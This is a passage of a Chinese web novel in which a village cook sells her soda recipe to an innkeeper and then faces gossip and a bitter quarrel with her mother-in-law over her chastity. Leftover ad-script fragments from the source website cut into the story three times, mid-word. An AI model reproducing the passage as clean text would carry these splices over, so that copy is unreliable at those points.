况且竟然还有那城管过来发难的事,不也是看自己只是个小摊子的缘故?但若是这镇上最大的酒楼一定就没事了,还能让客人继续品尝到松针汽水。 宋昌易见她一脸踌躇,又劝道: “丁娘子,我们现在也不算是外人,有什么话直接说就是了。我不妨告诉你,已经有不少客人抱怨你那的量太少了些,经常是数次都买不到,都跑来我这客满楼问询了。我也明白咱们的目的都是为了挣钱,所以娘子你有什么顾虑,就先说出来吧。” 丁宝珠微笑道: “宋掌柜放心,我都懂的,毕竟我那也只是一个小摊子,哪能和您这的客满楼相比?我只是在想,这方子卖了,倒也简单,但是这价格嘛……” 宋昌易见把话说开了,也是松了口气,听这话讲的,丁宝珠也不是紧抓着不放,好像还有点欣喜的意味。 只是宋昌易想着早点把那松针汽水在当下给放出售卖,起码能赚一笔快钱,所以也没有想那么多,便道: “关于这价钱的事,我其实也有考虑过。这是一个饮子的方子,所以我愿意出十两银子来买,不知娘子怎么看?” 其实原本宋昌易想的价钱远没有这么高,也是因为那是个饮子,也不是吃食或者菜,再加上不知何时镇上就不再关切这饮子了,所以他起初设想的出银是不高的。 可是在这中间却发生了茶点事件,颇有点令他对丁宝珠刮目相看,谁又能知道将来后者还会不会出其他新颖的吃食来? 比起竞争对手,他还是想交个朋友,为此不惜把出价提高了一倍。 宋昌易此举可称得上是情至意尽了,十两银子在村里能过上大半年的日子,一般人听后,早就会忙不迭同意了。 然而在他眼前的,貌似偏偏不是那一般人。 听到十两银子的高价,丁宝珠的脸上竟没有一点惊喜之色,好像那其实不过是十文钱一样。 宋昌易心中咯噔一响,又过了须臾,才听丁宝珠浅笑道: “我知道宋掌柜是真心收我的方子了,只是这价钱……” “怎么,你还嫌不够?” 宋昌易既惊讶又疑惑地问道: “你可知道,饮子到底比不过正餐,喝的人再多,那也还是吃饭的人多,而且你大可外出问问,能有谁愿意花这么多钱买你这方子?甚至在祥安镇里,估计也只有我愿意买了!” 丁宝珠回道: “这些我都明白,我只是想问——等拿到这方子后,宋掌柜想多少钱卖出去一碗?” “这个嘛……那也要等事成了再考虑。娘子当初是怎么卖的?” 丁宝珠这才笑道: “我那就是个小摊,它都不是最主要的,当然卖得便宜。可客满楼就不同了,这是镇上最大的食肆酒楼,光是环境就摆在那儿呢。” “何况还有附近的人进镇来消费,每日是宾客如云,络绎不绝,生意好得不得了,我这饮子也就和镀了层金一般了……” 宋昌易叹道: “娘子,你有什么话直接说便是,何必这样?” “好,那我就不多废话了。” 丁宝珠清了清嗓,再提议道: “我现在有两个主意,宋掌柜也听听。第一,这方子的价格,我想要卖十五两——” 话音未落,宋昌易就不敢置信地插嘴道: “什么?十五两?你认真的?” “宋掌柜您别急呀,我给你算算。您这客满楼里的价位,那肯定是要卖的比我高出起码两倍的,每日的客流量,也比我那多多了,况且这饮子老少皆宜,早晚皆饮,现在又在风波浪尖上,一天下来能卖多少?” “而且我还没有和您说呢,这松针汽水湃一湃,放凉了,那口感和味道就更上一个台阶了,如今天气慢慢也要热起来了,那生意还能不好?” 宋昌易到底没有喝过那松针汽水,半信半疑地问道: “真的吗?娘子莫要诓我。” “是真的,就连我在卖那饮子的时候,都有客人主动提出来这招呢,你到时卖了,也能继续去问问客人们。” 丁宝珠一脸打着包票的神情: “再说了,现在是我们在谈生意,您是买家,我要是骗了你,以后还敢和你见面么?” 宋昌易虽有动摇,可仍然是犹豫不决的表情,说道: “虽是听了娘子这么讲,可是十五两未免也太多了点……” 丁宝珠也不急,建议道: “要是掌柜的嫌多,我倒是还有一个法子。” 宋昌易连忙问道:“哦?什么办法?” 丁宝珠娓娓道来: “既然掌柜的觉得一次性买断价格贵了,那不如就用分成吧。” “……分成?”宋昌易奇怪。 丁宝珠颔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 首道: “我直接就把方子给掌柜的您,这时候不要钱,您也可以售卖饮子了。但是卖出饮子后的所有的钱,每个月要给我分成。” “看在我们已经是熟人的份上,就您六我四吧,怎么样?” 宋昌易的脸色更是皱起,事实证明人们还是喜欢折中,再提到一个没有比上一个好的办法,就立马觉得上一个主意是更好的了。 而且若是丁宝珠说的都是真的,这饮子怕是一年四季都能往外售出,那这交的钱还能有个底?到最后恐怕都要比买断的价格多了。 况且他也拉不下脸面来在这里讨价还价。 宋昌易最后叹了口气道: “照娘子这么说,那还是买下了更安心!但是你出的价也着实太贵了,这样吧,我出十二两,要不娘子你再考虑考虑?” 买家能够主动降价,看来还是在寻求机会。丁宝珠想着若是逼急了这笔生意,不能成交也不好,便又道: “行,那就十二两,不过……” 宋昌易听到这词就惊,也不知她又要多说什么了?便问道: “不过什么?” 丁宝珠笑道: “我昨日在厨房里,看掌柜的那些玫瑰不错,左不过您放着也暂时没用,再多存一段日子恐怕又要坏了,不如就与了我吧?” 得,这下还要搭上自己那些玫瑰花瓣了! 宋昌易禁不住一噎:这娘子当真是一点都不想亏啊! 要知道客满楼里的食材可不会是让人直接去山里摘采的,而是直接通过各种渠道采买的。 要么就是如同那红丝菜一般,是熟客送的,但基本上也就存给那名食客用,所以那些个花瓣,自然也是他某天见到后就买回来的了。 其实丁宝珠说的也没错,他们后厨的一大群大老爷们儿,估计也做不出那样精致的点心——再说客满楼也不主打点心那一块儿。 况且之后店里一定是大肆推销那松针汽水,这玫瑰花瓣与其继续放在角落里,那还不如就给了她。 宋昌易想到这,只好让人去厨房里取,点了头道: “行,那就依娘子所说吧。” “掌柜的当真痛快,那就请给笔墨,我把那方子写下来吧。” 宋昌易更是惊讶问道: “娘子,你竟然还能识字写字?” 怪不得能做出那样精美的细点,原来本身就是个有见识的,不由得又多了几分重视。 丁宝珠笑道:“我娘家有弟弟在村塾读书,所以跟着些许认得几个,也就够了。” 宋昌易连忙再令人去拿笔墨来,又亲自去柜台秤了银两,回来后说道: “娘子,这锞子值十两,另外还有二两碎银,你看看如何?” 丁宝珠已经在桌边写着方子了,只是用惯了自己做的炭笔,这毛笔字倒是写得歪歪扭扭的,她自己都不肯直视。 听着宋昌易这么说,她也赶忙接过来。那锞子虽然不比银元宝多,但掂在手里也有重量,而那二两碎银,握着也要比先前的几钱银子实在,丁宝珠不禁笑道: “宋掌柜还是一如既往地细心啊!” 宋昌易笑笑没言语,却仍是有点心疼的,只希望买来的这饮子方子至少能回了本。 只等丁宝珠写完方子,他迫不及待地多看几眼,却生了一股子困惑来,问道: “娘子,你这方子上的材料……就光是这么些?” 这也太简单了吧?那人们为何不自己去做,非要来买? 丁宝珠笑着解释道: “材料虽少,可以那制作工艺是要更仔细的,什么时间、温度、湿度都要很精准,否则别说是汽水了,到最后就酿坏了,所以这一点我还要和你再说一说……” 于是最后,丁宝珠怀揣着银两,背着一大篮子的玫瑰花瓣,满足地离开了客满楼。 至于身后宋昌易是如何开始奔波忙碌去制作松针汽水,又是怎么去售卖的,她暂时不清楚,却只明白她现在也算是有了钱了。 是时候能去买买买了! 81. 长舌妇 李银屏带着装满衣物的木盆来到溪边,阳光金灿灿地洒在水流,和周围的泥土地上,前者是波光粼粼,后者是暖融融的。 微风习习,吹动着水边绿植。这天气愈发热了之后,就有不少人喜欢来到水源边,那轻易瞧不出的细微水汽,却是能带来一丝清爽。 放眼望去,已是有不少村里的妇人一同来到这,做那浣洗浆洗之事了。 似乎是有人见到了李银屏,便伸手招呼着: “喂,李婶子,快过来!” 李银屏一边笑一边上前去问道: “金婶,姜婶,你们今天也来洗衣服了啊?" "哎哟,瞧你说的,最近天气那么热,这衣服没多久就要换下来,不洗掉,难不成还等着它们自己下水啊?" 三人围在一起,直接在溪流中打了水,又用自带的肥珠子搓了起来。 不过妇人们待在一块儿,无非是唠些家常话而已,要像是平日里关系更为熟络点的,等寒暄几句后,就不自主愈发进了一步——讲起八卦轶事来了。 姜婶还有模有样地往旁看了几眼,见这附近只有她们三人,这才有意无意地问道: “我说李婶,你家儿子和儿媳妇相处得咋样啊?” 和丁家大姐成亲,因着整个村都或多或少听说过丁宝珠的威名,所以现在丁徐两家结亲的事儿,也是差不多都知晓了,就算过去了数月,在这群妇人间依然是个话题。 李银屏一听到这话心里就不快起来,但还是没有摆脸子,只是问道: “还行啊,好端端的,提这些做啥?” 姜婶的笑容像是带了一丝神秘,又道: “我说看着也好,就丁家大姐儿的那脾气,还以为会闹得你家不得安宁哩!” 其实也是看在李银屏的份上,她们才没有说徐晔。 实际上在村里人的印象中,那徐晔同样是个脾气不好的,若说丁家大姐是个性子暴躁的,那徐家老大的就是个性子乖戾的,两人都不咋地就是了。 所以也有人觉得这两人要是待在一起,那家里还不是天天鸡飞狗跳的?也就是徐家住得远,也没人真的想去看热闹,所以至今不清楚是个什么状况。 李银屏搓着衣物淡淡说道: “再不安宁也是我们关着门过自己的,有你们啥事?” “是是是。依我说,他俩说不定还真的看对眼了呢!” 那金婶也加入进来,并且立马甩出了一个重磅消息。 “你们不知道吧,镇上开市那天,他俩还去客满楼里吃饭了,那样子,啧啧,靠得挺近呢!” 李银屏愣了愣,连手里的动作也停下了,问道: “啥?这话你听谁讲的?” “我儿子那天去镇上,他亲眼看见的,一起去的还有你那两个女儿,是也不是?” 金婶一面说着,一面摇了摇头。 “哎呦,那客满楼是镇上最大的酒楼,在那里吃顿饭的钱,估摸着都能使半个多月了!即使没分家,那家里的钱也不能这么花啊?” “看你这样子,难不成你不知道这事儿?你儿子儿媳妇,竟然就这么瞒着你?儿媳妇暂且不说,你儿子咋也不告诉你呢?可别是有人从中作梗!” 李银屏心里顿时起了火,她向来就觉得徐翊徐晔一直向着丁宝珠,这下好了,花钱这样大手大脚,没想到徐晔不仅同意了,还不告诉自己直到现在?以前他哪里会这样做?! 然而姜婶却说道: “可是我听说丁家大姐儿现在在村外摆摊呢,生意好像还不错,我家二姐都在那里买过吃食,味道确实好,想必也能贴补家里吧?” 金婶此时说得起劲了,鼻尖嗤了一声道: “就她那小摊子能赚几个钱?赚的钱恐怕都不够她花的呢!徐家老大估计也是个闷葫芦,这才被锯了嘴,以后怕不是要被拿捏得死死的?” “再说了,谁不知道那丁大姐儿以前的事迹?不是喜欢老林家的小儿子,就是对哪家下地的小儿子抛过眼,先前不是还传出来说为了前者直接撞墙了吗?就那尿性!” 而姜婶眼见李银屏的脸色愈加不对,连忙咳了咳阻止道: “祖奶奶,你就少说点吧!那都是传出来的,我们又不是丁家的,哪里知道发生了啥?你咋不说她出去摆摊贴补家里,那是把以前的性子给改了呢?” “得了吧,她那性子能转,猪都能上树了!” 金婶哼声道: “就算她开始外出摆摊了,你咋知道赚来的那钱就是贴给家里的?怕不是直接花给自己,或是藏起来了,久而久之,恐怕连徐家的钱都能进她口袋呢!” “而且去摆摊,这么抛头露面的事儿,又有谁知道每天能遇到多少男人?还不知会咋样歪缠哩!” “够了!” 原本一声不吭的李银屏突然把湿衣裳给摔在了盆中,溅起一片水花,都淋在了金婶和姜婶的身上。 “哎呦……李婶你发啥脾气?咋了,你被你那儿媳妇传染了?” 金婶擦着脸上的水不住抱怨道,抬头却见李银屏阴恻恻地盯着自己,又感觉到一丝阴冷来。 “你这碎嘴婆子,吃了猫屎了?我家晔儿好歹也能娶个媳妇,媳妇好歹能够挣钱花,那你家铁娃呢?” “爆竹的脾气——一点就炸,油瓶倒了也不扶——懒到家了。父子俩一个比一个没本事,怕是根本没有姐儿愿意嫁过来吧?众人的眼睛都是雪亮的!” 金婶家里也是种田的,那田地虽是比徐家多,可惜薄了一点,而更可惜的是,金婶她丈夫是个老懒汉,生了儿子也是个小懒汉。 本来家里见后者不愿意种田,还凑了钱让儿子去镇上的铁匠铺那学艺,以后也好有一门手艺,学成了更是可以自立门户,那挣的钱肯定也比种地多多了。 然而学手艺没个几年是成不了的,那铁娃嫌费时费力还特别辛苦,没做几个月就吵着要回来,现在仍是待在家里和其他人一样下地去,导致金婶不得不多接点浆洗或者针线活儿来贴补家用。 而有点消息的长辈们都明白那铁娃的天性和金婶的家境,最重要的是,她家里也一定拿不出来像样的聘礼,所以正常家里的女儿都不愿意嫁过去。 铁娃如今也和徐晔有差不多大了,可娶媳妇这件事的影儿都见不到呢。 金婶听李银屏直接开骂,立时红了脸,也开始回骂起来: “呸,我家铁娃娶不到媳妇又怎的?我们养着他,也好过娶了个败家娘们儿进来!“ “那还不只是个败家娘们,还是个水性杨花的!你家儿子才是那蒙在鼓里听打雷的,死活分不清,以后要是哪天做了绿头鸭,那可别哭!” “而且我看你是不知道吧?你家儿媳妇还去过林木匠家,去了还不止一次,他家隔壁的娃儿可是看得一清二楚!” “你家儿媳妇还给林木匠送酒喝呐,也不知是不是只把他看作是心里的公公,就你们猪油蒙了心,傻乎乎的还以为人家变了性!” 村里妇人的嗓门一贯极 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大,吵了两句,其他正在洗衣的就听见了,纷纷好奇地望过来吃瓜,等到回去了,估摸着又能成为粗茶淡饭间的笑话。 “你个泼婆娘,嘴里胡咧咧个啥?看我不撕了你个贱人的嘴!” 李银屏大叫道,当即就要冲上去,那金婶也不是个懦弱的,抄起木盆里的棒槌就要迎战,急得姜婶紧忙起身阻止劝道: “我说你们两个各自都少说点吧!刚刚不是还好好的?在这里也不怕惹人笑话?——金婶,你少讲些,李婶,你还是回家去吧!” 李银屏一把拿起自己的木盆,又大力地啐了一口,气恼道: “下次别让老娘再见着你,你可别忘了,我家里能用的有的是,把你那油嘴撕了不成问题!哼!” 那金婶见李银屏愤然离去,也吐了口唾沫在地上,不爽道: “说得好像有多高贵一样,不都是一个村子里的?现在还要儿媳妇出去抛头露面贴补,看把她能的,有本事就不要住在一个村里啊!” “行了行了,人都走了,你还念叨啥?” 姜婶似乎也有些不悦起来。 “我说金婶子,你和李婶有仇,还是和丁家有仇咋的?逮到就可劲儿说,这下好了,生生结了仇了!” 金婶冷哼着,继续洗起了衣裳,不屑道: “我还不稀罕和她要好呢,她家如今都是一条绳子上的蚂蚱——脾气都一样臭!” 但实际上,这金婶倒是真的和丁家有点小小的冤仇。 皆因有一回丁宝珠替丁宏去挑担卖肉,又逢金婶家里的人吵着想吃肉了,只好去买,而村里想要买肉的人,一般都是先去找丁家,丁家要是也没有,才再去想别的法子。 而金婶去买,少不得一番挑挑拣拣,讨价还价,硬是磨了半天也不买下。 那原先的丁宝珠被丁宏教导过,在做生意时还是有收敛脾气的,可遇到金婶这么磨磨唧唧的人,最后依然是没忍住与她起了口角,这笔买卖也就没有做成,而金婶对此也记到了现在。 本来丁宝珠嫁到了徐家,她也不过是和其他妇人多讨论了几句也就罢了,可偏偏她家铁娃上次去镇上赶市见到了那丁宝珠和徐晔,不但关系瞧着不错,竟然还有钱去客满楼吃饭,导致她瞬间破防,今天也就不知不觉全说出口了。 再说了,她也自认为没说错,反正丁宝珠的名声在村里一直都不好,难道嫁了人就能转了性子?她可完全不相信! 却说那李银屏在回去的路上越想越气,越气那脚步就越快,不一会儿就到了家。 徐莹徐芝似乎已经割了兔草回来了,毕竟李银屏不允许她们上山,所以只能在山脚下多转悠,这时还在那兔子窝旁玩着呢。 徐莹看李银屏回来了,才想说话,却又见到前者的脸色,感觉不对劲。 果然下一刻就听李银屏冷声道: “莹儿,你先带芝儿去外面转转,之后再回家。” 徐莹疑惑问道:“娘,我们才从外面回来呢,又出去做啥啊?” 李银屏忿然作色道: “叫你领着妹妹出去就出去,问那么多做啥?还不快去!” 徐莹无奈,又不想让她气着,就只好先和徐芝出了门。 想了想,走前还不忘拴着黑虎一起去了,直觉告诉自己,接下来恐怕有好大一场风暴要来袭了。 而见姐妹俩离开,那李银屏则是找了个小凳子,就这么坐在院子里等着某人回来。 看来有些事,今日是不得不说明白了! 82. 婆媳之战 丁宝珠从客满楼出来后,只身就去了已经开始热闹的街头上。 在这个时间里,各家店门和行市皆已迎客了。 她照旧买了粮食、肉蛋和调料,等后续入了夏,最不缺的就是果蔬,若是到时候缺了再来买就是。 一边买,丁宝珠的心里一边感叹: 果然是荷包鼓鼓就心情顺畅,连花出去都少了几分心疼! “卖豆腐咯!新鲜现做的豆腐!——” 丁宝珠回过神,才发现那吆喝的尽头是一家有点规模的豆腐坊。 后面的大型建筑里面应该是在做着豆腐,而门口则支了摊子,还围着不少人在或挑或买。 丁宝珠也忍不住挤了进去观望着,毕竟不吃肉的时候,豆腐也是一种美味。 而像她这么年轻的小媳妇,也经常是摊贩的目标,于是很快就有卖家笑着问道: “娘子,买块豆腐吧?这块怎么样?还是热乎乎刚做好的呢!” 丁宝珠瞧了几眼,才笑着问: “不知道有没有老豆腐?有的话给我称一些!” 虽说没有买那嫩豆腐,可见那么爽快,那贩子自然是手脚麻利地去称了。 买了食材不够,丁宝珠又去杂货铺买了几个坛子罐子。 徐家里有这种容器还是为了腌菜,腌满了也能过冬,可丁宝珠一来就用了不少。 而且之后还是果蔬增多的时节,估摸着使用就更紧张了。 但丁宝珠眼下赚了钱,也就毫不犹豫地多补充了一批。 于是到了最后,并不是她没钱买,而是她实在放不下背不动了! 丁宝珠深吸一口气重新背上了筐子,双手还拎着部分物品,就这么一路回到了象山村。 可到了村里,她却并没有马上回家,而是在村里转了转,最后来到了一个草屋外。 隔着长了藤蔓与花苞的篱笆,丁宝珠朝里面喊道: “请问邱大夫在吗?” 没错,这里就是邱大夫的家,不过虽是草屋,却也有好几间,若是其中一间是用来住的,那么其余几间就属于是药房诊室那样的地方了。 许多上门来看病的人大多数会留下来,看完了再回去,只有实在太急切的病情才会让邱大夫出门去看——比如说原主撞墙那会儿。 等了一会儿,屋门上的帘子被掀开来,荆芥走出来见到她,问道: “咦,怎么是娘子你?难道是身子不适么?” 丁宝珠笑道: “我这次来不是来瞧病的,是来买东西的,但我也不清楚你这有没有我想要的,所以我过来瞧瞧。” 荆芥看她身上大包小包的,精神也不错,不像是个病人,就打开篱笆门请她进来,又问道: “也不知娘子想要买什么,这么神神秘秘的,师傅现在正在屋里给其他人诊治,你就随我来吧。” 如此说着,荆芥带着丁宝珠来到了药房,才一进屋,扑面而来全是混杂在一起的浓郁草药香,但是一点也不刺鼻,反而古朴、厚重,还有点莫名令人安宁的感觉。 麻雀虽小五脏俱全,外面看来只是一个寻常草屋,可里面却是别有洞天,光是那高大的药柜,以及样样俱全的工具,就已经和镇上的医馆没什么区别了。 荆芥来到柜台前,问道: “娘子想要买什么?我这里也都是药材,可没有吃食。” 丁宝珠笑道: “俗话说医食同源,你这虽没有做好的吃食,但说不定就能成为我手中需要的食材呢!——你这里有没有丹曲?” “有的,不过不多,你看看要多少,我给你称了,只是这丹曲的价格不算很便宜。” 他说着,便从某个抽屉里取出了几把零零散散的米粒来,但那些米粒几乎都是紫红色的。 所谓丹曲,其实就是红曲米,是一味药材,可也能够入馔。 不过大多数还是用来酿酒的,听丁宝珠要做吃食,连荆芥也不禁产生些疑惑。 最后丁宝珠要了半斤丹曲,一起放进了筐内,成了筐子的那一个尖尖儿,这才告辞离开。 却没想到刚出了门,迎面就遇到了邱大夫。 邱大夫一看是她,便笑呵呵地问着: “丁娘子别来无恙啊?怎么这几天也没见你摆摊了?” 不等丁宝珠回答,邱大夫又递过来一张药方给荆芥,吩咐道: “荆芥啊,你先去抓药吧,这病人急着要回去呢。” 荆芥狐疑地瞅了他一眼,但仍是先回去抓药了。 然而人一走,那邱大夫就立刻凑过来小声问道: “我说娘子,你那凉糕还卖不卖了?老夫怎么听闻,你现在已经不再卖凉糕了?” ……看来那抹茶红豆凉糕,还真成了这老顽童的白月光了啊? 丁宝珠无奈笑道: “邱大夫,我最近是没有再卖,都是先在卖应季的吃食了,比如说我这一阵子在卖松花团子和松花酒。只是现在松花也过季了,我正在想再买些什么好。” “要我说,你真该再卖那凉糕,特别是那末茶馅儿的,主要这方圆几里开外也找不出再卖的一家,连个替代品也没有!” 邱大夫捋着花白的胡子叹道。 丁宝珠笑道: “邱大夫的话我记着了,不出意外的话,过两天我照旧去村外卖吃食,到时候我们不见不散!” “好、好,那老夫送送你吧。” 挥了挥手,丁宝珠离开药房,终于是回了家。 对于离家后所发生的一切,她是完全不知情的,现在也只是想着快些回去,一是把钱放了,二是尝试着研究新品,也好继续出门摆摊。 可她一推门进家,就发现李银屏抱着双臂,阴沉着脸坐在院中央,又不知是什么惹到了她。 丁宝珠更不想惹,但她总不能直接无视了去,只好问道: “姨母,你在这做什么呢?” 李银屏斜了她一眼,面容上竟浮出了一抹假笑来,只是淡然道: “东西放下,你过来,我有事要问你。” 丁宝珠微微皱眉,说道: “姨母,这时辰快要做午食了,我……” “不急。”李银屏当即打断,“我就是有事要先问你,怎么,你不敢?” 糟了,这肯定是冲着自己来的! 素日里有什么事,李银屏都会直接啰嗦,哪里有这次一样神神秘秘的? 丁宝珠是真不想与她多讲,可现在家里貌似就她们两个人,怕也是躲不过去的,只好先把东西放下。 李银屏见她慢悠悠卸了满地的东西,绷不住了,登时气不打一处来,霍地站起身,劈头盖脸地就骂道: “你这败家媳妇,不是逢年过节的,又买这么多东西作甚?我家能有多少钱够你这样花?还是说你拿着钱去做什么见不得人的勾当了?!” 丁宝珠回击道: “姨母今天是吃炸药了吧?我买的东西不都是能吃能用的?难道就我一个人吃,你们不吃了?我看你们吃得也挺香的,还不够吃呢!” “再说我是拿我自己赚的钱买的,信不过我,你就去问徐晔,别来拉扯我!” “问他?他还不知被你吹了什么枕边风,现在尽是向着你了!我与其问他,还不如好好审审你!” 李银屏怒目圆瞪,一心只想着金婶说的那些话语,重重压在心头,再圈圈环绕在耳边挥之不去,又是愤愤道: “我问你,你昨天那么晚回来,究竟是做啥去了?还得了那么金贵的东西,怕不是哪个野男人送你的吧?” 丁宝珠气笑了,但依然存着一丝理智,解释了来龙去脉,虽然她压根不觉得李银屏会相信。 后者果然啐了一声,高声嚷嚷道: “得了吧,你说了我就要信?你做的那东西难道还能得个几十两银子不成?” “我呸!我告诉你丁宝珠,晔儿现在是我的儿,我也是徐家的人,就绝对不允许家里身边有一个养汉精!” 丁宝珠吃了一惊,当下便回道: “姨母,你这就过分了,什么叫做养汉精?!” 李银屏却不解释,只是一味喝骂道: “过什么分?我哪里说错了?你和那林木匠的小儿子余情未了,又不知是不是在镇上招揽了哪个有钱的野汉子,现在更是直接不装了,把银子都给拿回来了!” “我早就和当家的和晔儿说过不让你出去摆摊抛头露面,现在好了,都不清楚你是个贼淫/妇!” 听李银屏骂得这般厉害,还皆是子虚乌有,丁宝珠也是动了怒。 何况自从她来了后,前者就没给她过好脸色,那她干嘛还彬彬有礼的? “放屁!什么时候有过的事,你有证据吗?怕是从哪个碎嘴婶子那听来的就当真了吧?而且你说的这两件事,我不都给你做解释了?信不信由你!” 她说到这也啐了一口道: “再说了,你不也做过媳妇?不照样是嫁过来的?咱俩比起来也差不离,也别分个大小王了!” “我看自从我进了门,你就是看我不顺眼,可你不如去问问你丈夫和你儿子,这段时日里究竟是谁搅得家里不得安宁的?!” 院内一片喧嚣,然而就在这时,那徐翊徐晔父子,却扛着农具回来了。 这完全是个突发情况,一是今日下地后,到后来那活儿就少了,二是徐晔心里想着想送丁宝珠东西,干活时也是有点三心二意的,也就被徐翊发现了。 徐晔不大好意思地说出了自己的想法。 儿子总算开窍一点了,徐翊倒是感到欣慰,怎么能不顺着?所以干脆也就先回来了。 却没想到还没到门口那,就听见门里全是大吼大叫,细细一听,竟然还是李银屏和丁宝珠的声音。 平日里她俩虽是有过拌嘴,可之后也就过去了,从没有吵得那么厉害过。 徐晔眉头紧缩,立刻就要推门进去,但徐翊却拉住了他,沉着脸示意他不要出声,两人便缩着继续听下文。 且说院里的婆媳已是来了几个来回,李银屏喘了几口气,反唇相讥道: “反正不管怎样,你总有理由辩我,但你最好小心一点,别叫我把那个秘密给说出来了,那你就彻底臭了,恐怕连你爹娘都不想要你了!” 丁宝珠一时也上了头,柳眉倒竖地冷声道: “不做亏心事不怕鬼敲门,我就不怕!什么哪里听来的瞎话秘密,还有,别扯我爹娘身上!” 李银屏听到这也来了劲儿,继而叉腰怫然道: “好好好,那我问你——你和晔儿入了洞房,可是喜帕上为啥没有落红?!” 丁宝珠顿时仿佛熄了火,怔愣住了。 说实在话,她虽然想过这件事,可都过去那么久,她早就抛之脑后了,却没想到这李银屏不但记得,还一直憋到了现在才爆发。 难道是这个原因,她才一向不喜欢自己的? 不仅是丁宝珠,就连徐翊徐晔也是惊呆了。 前者在那一瞬间内想了什么暂且不提,但徐晔却是震惊,他根本没有想过那床上竟然还有喜帕,也从没见过,更是没有人提过。 最重要的是,他与丁宝珠也压根没有圆房,哪里会有这件事的发生? 难道姨母一直不喜欢她,也有自己的原因? “……你从哪里看到的?” 丁宝珠蹙眉问道,片刻后又惊道: “你、你让莹儿去我们的房里拿喜帕给你?!” “这你别管,你就说那喜帕上是不是事实吧!” 李银屏将丁宝珠这幅诧异的神色当做了心虚,忍不住换成她叉腰,得意道: “没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 落红,就说明你嫁进来前怕就不是黄花闺女了,整个村里谁不知道你另有喜欢的人,宁愿去死也不嫁我们家,你当你头上那疤真是在地上磕的?” “我告诉你,当家的和晔儿虽然被你蒙在鼓里,我可是清楚得很,绝不会着了你的道!” “你还说你没给你亲爹娘蒙羞?哼!估计连他们也不知道,他们眼里的好女儿是个腌臜货色,要么就是当我们徐家好说话好欺负,把这么一个贱人塞到我们这里来——” “啪!——” 房门被大力推开,徐翊徐晔黑着脸快步走进,再把那大门又关上了,回头洪声道: “吵啥吵!隔着门在外面那么远都听得到,也不怕丢了脸!” 李银屏仗着自己有把柄,连忙说道: “当家的,本来这事我想找个合适的时间告诉你的,但你这儿媳妇也太能惹人怄气了,我们徐家又咋能要这种儿媳?” 她讲完,又对徐晔说: “晔儿,你好好想想吧!这件事你又不是从来都不知道,可别到时候无缘无故就做了忘八,哭都来不及!” 丁宝珠轻咬着唇,不再理睬李银屏,反倒是对徐翊说道: “爹——我既喊你一声爹,就把你看做是我亲爹一般。您又和我亲爹是好兄弟,您想想,我没出嫁前就跟着我亲爹去做活儿,回去后又有我娘看着,我怎么可能和其他人有勾结?” “林木匠他儿子那事是不假,可他儿子见了我就跑,我都没见过几次他的影!况且之后我也收了心了,就是去订做了容器,都是和林木匠定下的!” “再者退一步说,若我真像姨母说的那样不堪,我爹娘要是知道了,打断我的腿先不讲,还能坑你把我嫁过来吗?” “爹,你又不是不清楚我爹的为人,肯定早就去想办法把那聘礼给退了,还要上门来亲自赔礼谢罪呢,他还看着徐晔长大的,也能称一句侄子,更是不会坑他了啊!” “你少在那里找理由辩解,一派胡言!” 李银屏咬牙切齿道: “你还想要证据?那喜帕就是证据!你还能怎么扯?我告诉你丁宝珠,你的好日子到头了!——” “够了!” 徐翊高声打断,脸上显得十分疲累一般,摆了摆手: “你俩各执一边,叫我们咋判断?何况过去的事情终究是过去了,我就只看眼下的!” “晔儿媳妇嫁过来后,不是干活就是去挣钱贴补家里,根本没有犯过啥大错,倒是你天天瞧她不顺眼,找麻烦,要是晔儿媳妇还是以前那脾气,早就动手了,今天还能在这和你吵那么多?” 李银屏听了,又惊又气又急,朝着徐翊徐晔就喊道: “你们父子俩是咋了?咋都被她给迷惑住了?讲了那么多,合着我成那个坏人了?我掏心掏肺为了这个家,能有啥错?” 李银屏越说眼圈越红,随即便恨恨地又看向了丁宝珠,抬起手就要打去,嘴里骂道: “都怪你这贱人!看我不打你!——” 可就在下一刹,丁宝珠眼前一花,已有人飞快地挡在了她的面前。 重重啪的一声,就打在了后者的脸上。 其实丁宝珠也完全能抵挡得住,她这一身力气可不是白长的,却没有想到有人替她挨了这下。 而那人当然就是从刚才起就一声不吭的徐晔了。 李银屏大吃一惊,十多年过去了,她从没有打过前者。 手心里刺麻麻的,她却不可置信似地问道: “晔儿,你……连你现在也向着她?” 他一开始不是不喜欢她的么?这丁宝珠,究竟给灌了什么迷魂汤? “银屏!” 徐翊在一旁大喝道: “你咋能直接动手?!” 徐晔的脸上感到热麻麻的,只是他忽视了痛楚,反而支支吾吾地说道: “爹,姨母,其实这件事,不怪她……” 李银屏听了,立马忘记方才的一丝愧疚,赫然而怒道: “晔儿,你还为她辩解个啥?你心眼好,那也不能被哄骗了!” “她先骗你,接下来遭殃的就是我们家里了!你以为她是真心想做你的媳妇儿吗?指不定外面还有啥相好的呢!” “姨母!” 徐晔这次也是高声打断,如实说道: “你说的那喜帕没有落红,那、那是因为——” “我俩根本就没有圆房!” 这话一说出口,整个院子里都变得鸦雀无声,仿佛一朵落花坠下来都能有震天响。 徐翊和李银屏的表情可以说是瞠目结舌且大惊失色,当然他们心里的想法可能是有所不同的。 只过了须臾,前者才结结巴巴地问道: “晔儿……你、你说啥?你再说一遍?” 丁宝珠抿着唇,原本这是一件她和徐晔之间都清楚的秘密,这下好了,这么爆出来,怕是今后家里会愈发不平静。 可从头到尾都好像并没有她的错,徐晔本来就不喜她,自然不会与她圆房。 这也就罢了,而若不是李银屏一直在找她的茬,也不会攒到今日爆发,再把这个秘密公之于众了。 徐晔微微垂头,小声道: “我没有和宝珠圆房,是姨母误会了,她来到我们家里,也是改了许多了,而姨母说的那些都是谣传,不能全相信。” “你……” 徐翊一副气急的模样,最后却什么也没说,只是彻底冷下脸,掠过众人就径直回了屋内。 李银屏这才回过神来,脸上飞快地闪过一抹惊慌失措,三步并作两步地跟着前者一起走了。 一通闹剧,沉默结尾。 丁宝珠莫名感到少许心累,是以也一声不吭地去了灶房。 似乎只有那里,才是能令她安心的所在。 83. 中童生 然而在这时候,那徐莹和徐芝,正牵着黑虎继续游荡在村里的泥土地上。 平日里黑虎会在自家旁边转悠转悠,还有被徐晔带着上山,所以根本不用关心它的运动量。 